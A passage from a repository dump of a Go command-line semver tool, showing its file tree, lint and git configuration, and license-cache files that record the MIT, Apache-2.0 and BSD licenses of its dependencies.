``` ├── .dockleignore ├── .gitattributes ├── .gitignore ├── .licensed.yml ├── .licenses/ ├── go/ ├── github.com/ ├── go-task/ ├── slim-sprig/ ├── v3.dep.yml ├── samber/ ├── lo.dep.yml ├── lo/ ├── internal/ ├── constraints.dep.yml ├── rand.dep.yml ├── mutable.dep.yml ├── spf13/ ├── cobra.dep.yml ├── pflag.dep.yml ├── golang.org/ ├── x/ ├── exp/ ├── constraints.dep.yml ├── text/ ├── cases.dep.yml ├── internal.dep.yml ├── internal/ ├── language.dep.yml ├── language/ ├── compact.dep.yml ├── tag.dep.yml ├── language.dep.yml ├── .pre-commit-config.yaml ├── .trivyignore ├── CHANGELOG.md ├── LICENSE ├── README.md ├── Taskfile.yml ├── build/ ├── package/ ├── .goreleaser.yaml ├── Dockerfile ├── cmd/ ├── semver/ ├── compare.go ├── filter.go ├── format.go ├── major.go ├── minor.go ├── next.go ├── patch.go ├── semver.go ├── sort.go ├── validate.go ├── version.go ├── go.mod ├── go.sum ├── internal/ ├── pkg/ ├── app/ ├── version.go ├── cli/ ├── cli.go ├── number/ ├── number.go ├── number_suite_test.go ├── number_test.go ├── predicate/ ├── predicate.go ├── predicate_suite_test.go ├── predicate_test.go ├── pkg/ ├── semver/ ├── builder.go ├── builder_test.go ├── semver.go ├── semver_suite_test.go ├── semver_test.go ├── scripts/ ├── version ├── tasks/ ├── DockleTasks.yml ├── GitTasks.yml ├── GoTasks.yml ├── GolangciLintTasks.yml ├── GoreleaserTasks.yml ├── LicensedTasks.yml ├── MarkdownlintTasks.yml ├── MiscTasks.yml ├── TrivyTasks.yml ├── YamllintTasks.yml ├── test/ ├── semver_container_test.yml ``` ## /.dockleignore ```dockleignore path="/.dockleignore" # Enable Content trust for Docker CIS-DI-0005 # Add HEALTHCHECK instruction to the container image CIS-DI-0006 # Avoid 'latest' tag DKL-DI-0006 ``` ## /.gitattributes ```gitattributes path="/.gitattributes" * text=auto .gitattributes text eol=lf .gitignore text eol=lf ``` ## /.gitignore ```gitignore path="/.gitignore" .idea/ .vscode/ artifacts/ dist/ ``` ## /.licensed.yml ```yml path="/.licensed.yml" name: semver allowed: - apache-2.0 - bsd-3-clause - mit sources: go: true go: GOPATH: ~/go source_path: cmd/semver ``` ## /.licenses/go/github.com/go-task/slim-sprig/v3.dep.yml ```yml path="/.licenses/go/github.com/go-task/slim-sprig/v3.dep.yml" --- name: github.com/go-task/slim-sprig/v3 version: v3.0.0 type: go summary: Package sprig provides template functions for Go. homepage: https://pkg.go.dev/github.com/go-task/slim-sprig/v3 license: mit licenses: - sources: LICENSE.txt text: | Copyright (C) 2013-2020 Masterminds Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. notices: [] ``` ## /.licenses/go/github.com/samber/lo.dep.yml ```yml path="/.licenses/go/github.com/samber/lo.dep.yml" --- name: github.com/samber/lo version: v1.49.1 type: go summary: homepage: https://pkg.go.dev/github.com/samber/lo license: mit licenses: - sources: LICENSE text: | MIT License Copyright (c) 2022-2025 Samuel Berthe Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. notices: [] ``` ## /.licenses/go/github.com/samber/lo/internal/constraints.dep.yml ```yml path="/.licenses/go/github.com/samber/lo/internal/constraints.dep.yml" --- name: github.com/samber/lo/internal/constraints version: v1.49.1 type: go summary: Package constraints defines a set of useful constraints to be used with type parameters. homepage: https://pkg.go.dev/github.com/samber/lo/internal/constraints license: mit licenses: - sources: lo@v1.49.1/LICENSE text: | MIT License Copyright (c) 2022-2025 Samuel Berthe Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. notices: [] ``` ## /.licenses/go/github.com/samber/lo/internal/rand.dep.yml ```yml path="/.licenses/go/github.com/samber/lo/internal/rand.dep.yml" --- name: github.com/samber/lo/internal/rand version: v1.49.1 type: go summary: homepage: https://pkg.go.dev/github.com/samber/lo/internal/rand license: mit licenses: - sources: lo@v1.49.1/LICENSE text: | MIT License Copyright (c) 2022-2025 Samuel Berthe Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. notices: [] ``` ## /.licenses/go/github.com/samber/lo/mutable.dep.yml ```yml path="/.licenses/go/github.com/samber/lo/mutable.dep.yml" --- name: github.com/samber/lo/mutable version: v1.49.1 type: go summary: homepage: https://pkg.go.dev/github.com/samber/lo/mutable license: mit licenses: - sources: lo@v1.49.1/LICENSE text: | MIT License Copyright (c) 2022-2025 Samuel Berthe Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. notices: [] ``` ## /.licenses/go/github.com/spf13/cobra.dep.yml ```yml path="/.licenses/go/github.com/spf13/cobra.dep.yml" --- name: github.com/spf13/cobra version: v1.9.1 type: go summary: Package cobra is a commander providing a simple interface to create powerful modern CLI interfaces. homepage: https://pkg.go.dev/github.com/spf13/cobra license: apache-2.0 licenses: - sources: LICENSE.txt text: |2 Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. - sources: README.md text: Cobra is released under the Apache 2.0 license. See [LICENSE.txt](LICENSE.txt) notices: [] ``` ## /.licenses/go/github.com/spf13/pflag.dep.yml ```yml path="/.licenses/go/github.com/spf13/pflag.dep.yml" --- name: github.com/spf13/pflag version: v1.0.6 type: go summary: Package pflag is a drop-in replacement for Go's flag package, implementing POSIX/GNU-style --flags. homepage: https://pkg.go.dev/github.com/spf13/pflag license: bsd-3-clause licenses: - sources: LICENSE text: | Copyright (c) 2012 Alex Ogier. All rights reserved. Copyright (c) 2012 The Go Authors. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Google Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. notices: [] ``` ## /.licenses/go/golang.org/x/exp/constraints.dep.yml ```yml path="/.licenses/go/golang.org/x/exp/constraints.dep.yml" --- name: golang.org/x/exp/constraints version: v0.0.0-20250408133849-7e4ce0ab07d0 type: go summary: Package constraints defines a set of useful constraints to be used with type parameters. homepage: https://pkg.go.dev/golang.org/x/exp/constraints license: bsd-3-clause licenses: - sources: exp@v0.0.0-20250408133849-7e4ce0ab07d0/LICENSE text: | Copyright 2009 The Go Authors. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Google LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - sources: exp@v0.0.0-20250408133849-7e4ce0ab07d0/PATENTS text: | Additional IP Rights Grant (Patents) "This implementation" means the copyrightable works distributed by Google as part of the Go project. Google hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, transfer and otherwise run, modify and propagate the contents of this implementation of Go, where such license applies only to those patent claims, both currently owned or controlled by Google and acquired in the future, licensable by Google that are necessarily infringed by this implementation of Go. This grant does not include claims that would be infringed only as a consequence of further modification of this implementation. If you or your agent or exclusive licensee institute or order or agree to the institution of patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that this implementation of Go or any code incorporated within this implementation of Go constitutes direct or contributory patent infringement, or inducement of patent infringement, then any patent rights granted to you under this License for this implementation of Go shall terminate as of the date such litigation is filed. notices: [] ``` ## /.licenses/go/golang.org/x/text/cases.dep.yml ```yml path="/.licenses/go/golang.org/x/text/cases.dep.yml" --- name: golang.org/x/text/cases version: v0.24.0 type: go summary: Package cases provides general and language-specific case mappers. homepage: https://pkg.go.dev/golang.org/x/text/cases license: bsd-3-clause licenses: - sources: text@v0.24.0/LICENSE text: | Copyright 2009 The Go Authors. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Google LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - sources: text@v0.24.0/PATENTS text: | Additional IP Rights Grant (Patents) "This implementation" means the copyrightable works distributed by Google as part of the Go project. Google hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, transfer and otherwise run, modify and propagate the contents of this implementation of Go, where such license applies only to those patent claims, both currently owned or controlled by Google and acquired in the future, licensable by Google that are necessarily infringed by this implementation of Go. This grant does not include claims that would be infringed only as a consequence of further modification of this implementation. If you or your agent or exclusive licensee institute or order or agree to the institution of patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that this implementation of Go or any code incorporated within this implementation of Go constitutes direct or contributory patent infringement, or inducement of patent infringement, then any patent rights granted to you under this License for this implementation of Go shall terminate as of the date such litigation is filed. notices: [] ``` ## /.licenses/go/golang.org/x/text/internal.dep.yml ```yml path="/.licenses/go/golang.org/x/text/internal.dep.yml" --- name: golang.org/x/text/internal version: v0.24.0 type: go summary: Package internal contains non-exported functionality that are used by packages in the text repository. homepage: https://pkg.go.dev/golang.org/x/text/internal license: bsd-3-clause licenses: - sources: text@v0.24.0/LICENSE text: | Copyright 2009 The Go Authors. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Google LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - sources: text@v0.24.0/PATENTS text: | Additional IP Rights Grant (Patents) "This implementation" means the copyrightable works distributed by Google as part of the Go project. Google hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, transfer and otherwise run, modify and propagate the contents of this implementation of Go, where such license applies only to those patent claims, both currently owned or controlled by Google and acquired in the future, licensable by Google that are necessarily infringed by this implementation of Go. This grant does not include claims that would be infringed only as a consequence of further modification of this implementation. If you or your agent or exclusive licensee institute or order or agree to the institution of patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that this implementation of Go or any code incorporated within this implementation of Go constitutes direct or contributory patent infringement, or inducement of patent infringement, then any patent rights granted to you under this License for this implementation of Go shall terminate as of the date such litigation is filed. notices: [] ``` ## /.licenses/go/golang.org/x/text/internal/language.dep.yml ```yml path="/.licenses/go/golang.org/x/text/internal/language.dep.yml" --- name: golang.org/x/text/internal/language version: v0.24.0 type: go summary: homepage: https://pkg.go.dev/golang.org/x/text/internal/language license: bsd-3-clause licenses: - sources: text@v0.24.0/LICENSE text: | Copyright 2009 The Go Authors. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Google LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - sources: text@v0.24.0/PATENTS text: | Additional IP Rights Grant (Patents) "This implementation" means the copyrightable works distributed by Google as part of the Go project. Google hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, transfer and otherwise run, modify and propagate the contents of this implementation of Go, where such license applies only to those patent claims, both currently owned or controlled by Google and acquired in the future, licensable by Google that are necessarily infringed by this implementation of Go. This grant does not include claims that would be infringed only as a consequence of further modification of this implementation. If you or your agent or exclusive licensee institute or order or agree to the institution of patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that this implementation of Go or any code incorporated within this implementation of Go constitutes direct or contributory patent infringement, or inducement of patent infringement, then any patent rights granted to you under this License for this implementation of Go shall terminate as of the date such litigation is filed. notices: [] ``` ## /.licenses/go/golang.org/x/text/internal/language/compact.dep.yml ```yml path="/.licenses/go/golang.org/x/text/internal/language/compact.dep.yml" --- name: golang.org/x/text/internal/language/compact version: v0.24.0 type: go summary: Package compact defines a compact representation of language tags. homepage: https://pkg.go.dev/golang.org/x/text/internal/language/compact license: bsd-3-clause licenses: - sources: text@v0.24.0/LICENSE text: | Copyright 2009 The Go Authors. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Google LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - sources: text@v0.24.0/PATENTS text: | Additional IP Rights Grant (Patents) "This implementation" means the copyrightable works distributed by Google as part of the Go project. Google hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, transfer and otherwise run, modify and propagate the contents of this implementation of Go, where such license applies only to those patent claims, both currently owned or controlled by Google and acquired in the future, licensable by Google that are necessarily infringed by this implementation of Go. This grant does not include claims that would be infringed only as a consequence of further modification of this implementation. If you or your agent or exclusive licensee institute or order or agree to the institution of patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that this implementation of Go or any code incorporated within this implementation of Go constitutes direct or contributory patent infringement, or inducement of patent infringement, then any patent rights granted to you under this License for this implementation of Go shall terminate as of the date such litigation is filed. notices: [] ``` ## /.licenses/go/golang.org/x/text/internal/tag.dep.yml ```yml 